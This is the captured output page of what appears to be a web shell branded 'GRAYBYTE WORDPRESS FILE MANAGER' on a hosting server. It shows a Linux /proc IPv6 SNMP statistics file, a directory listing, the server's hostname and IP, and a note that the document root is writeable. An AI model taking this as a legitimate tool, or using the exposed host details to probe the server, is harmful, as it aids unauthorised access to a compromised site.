$92 GRAYBYTE WORDPRESS FILE MANAGER $61

SERVER : in-mum-web1330.main-hosting.eu #1 SMP Mon Feb 10 22:45:17 UTC 2025
SERVER IP : 88.222.222.198 | ADMIN IP 216.73.216.143
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/proc/1201531/task/1201531/net/dev_snmp6/

HOME
Current File : /proc/1201531/task/1201531/net/dev_snmp6//eth0.666
ifIndex                         	4
Ip6InReceives                   	31430626682
Ip6InHdrErrors                  	0
Ip6InTooBigErrors               	0
Ip6InNoRoutes                   	0
Ip6InAddrErrors                 	0
Ip6InUnknownProtos              	0
Ip6InTruncatedPkts              	0
Ip6InDiscards                   	0
Ip6InDelivers                   	6791955
Ip6OutForwDatagrams             	0
Ip6OutRequests                  	39698243549
Ip6OutDiscards                  	103
Ip6OutNoRoutes                  	0
Ip6ReasmTimeout                 	38
Ip6ReasmReqds                   	0
Ip6ReasmOKs                     	0
Ip6ReasmFails                   	38
Ip6FragOKs                      	1151990
Ip6FragFails                    	4
Ip6FragCreates                  	2303980
Ip6InMcastPkts                  	3388816
Ip6OutMcastPkts                 	3264243
Ip6InOctets                     	35449619236784
Ip6OutOctets                    	102919962241309
Ip6InMcastOctets                	217852416
Ip6OutMcastOctets               	208911680
Ip6InBcastOctets                	0
Ip6OutBcastOctets               	0
Ip6InNoECTPkts                  	53364835877
Ip6InECT1Pkts                   	37180975
Ip6InECT0Pkts                   	50713713
Ip6InCEPkts                     	36473640
Icmp6InMsgs                     	22017301
Icmp6InErrors                   	37790
Icmp6OutMsgs                    	20247491
Icmp6OutErrors                  	0
Icmp6InCsumErrors               	14309
Icmp6InDestUnreachs             	4578427
Icmp6InPktTooBigs               	2958693
Icmp6InTimeExcds                	167151
Icmp6InParmProblems             	81
Icmp6InEchos                    	10840678
Icmp6InEchoReplies              	66085
Icmp6InGroupMembQueries         	0
Icmp6InGroupMembResponses       	0
Icmp6InGroupMembReductions      	0
Icmp6InRouterSolicits           	0
Icmp6InRouterAdvertisements     	3267792
Icmp6InNeighborSolicits         	124085
Icmp6InNeighborAdvertisements   	0
Icmp6InRedirects                	0
Icmp6InMLDv2Reports             	0
Icmp6OutDestUnreachs            	289919
Icmp6OutPktTooBigs              	0
Icmp6OutTimeExcds               	31
Icmp6OutParmProblems            	0
Icmp6OutEchos                   	130387
Icmp6OutEchoReplies             	16441887
Icmp6OutGroupMembQueries        	0
Icmp6OutGroupMembResponses      	0
Icmp6OutGroupMembReductions     	0
Icmp6OutRouterSolicits          	1
Icmp6OutRouterAdvertisements    	3264237
Icmp6OutNeighborSolicits        	1
Icmp6OutNeighborAdvertisements  	121024
Icmp6OutRedirects               	0
Icmp6OutMLDv2Reports            	4
Icmp6InType1                    	4578427
Icmp6InType2                    	2958693
Icmp6InType3                    	167151
Icmp6InType4                    	81
Icmp6InType128                  	10840678
Icmp6InType129                  	66085
Icmp6InType134                  	3267792
Icmp6InType135                  	124085
Icmp6OutType1                   	289919
Icmp6OutType3                   	31
Icmp6OutType128                 	130387
Icmp6OutType129                 	16441887
Icmp6OutType133                 	1
Icmp6OutType134                 	3264237
Icmp6OutType135                 	1
Icmp6OutType136                 	121024
Icmp6OutType143                 	4

Current_dir [ NOT WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
13 Mar 2026 9.15 AM
u550391411 / o200927086
0555
eth0
0 KB
13 Mar 2026 9.16 AM
root / root
0444
eth0.666
0 KB
13 Mar 2026 9.16 AM
root / root
0444
eth1
0 KB
13 Mar 2026 9.16 AM
root / root
0444
eth1.666
0 KB
13 Mar 2026 9.16 AM
root / root
0444
lo
0 KB
13 Mar 2026 9.16 AM
root / root
0444

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF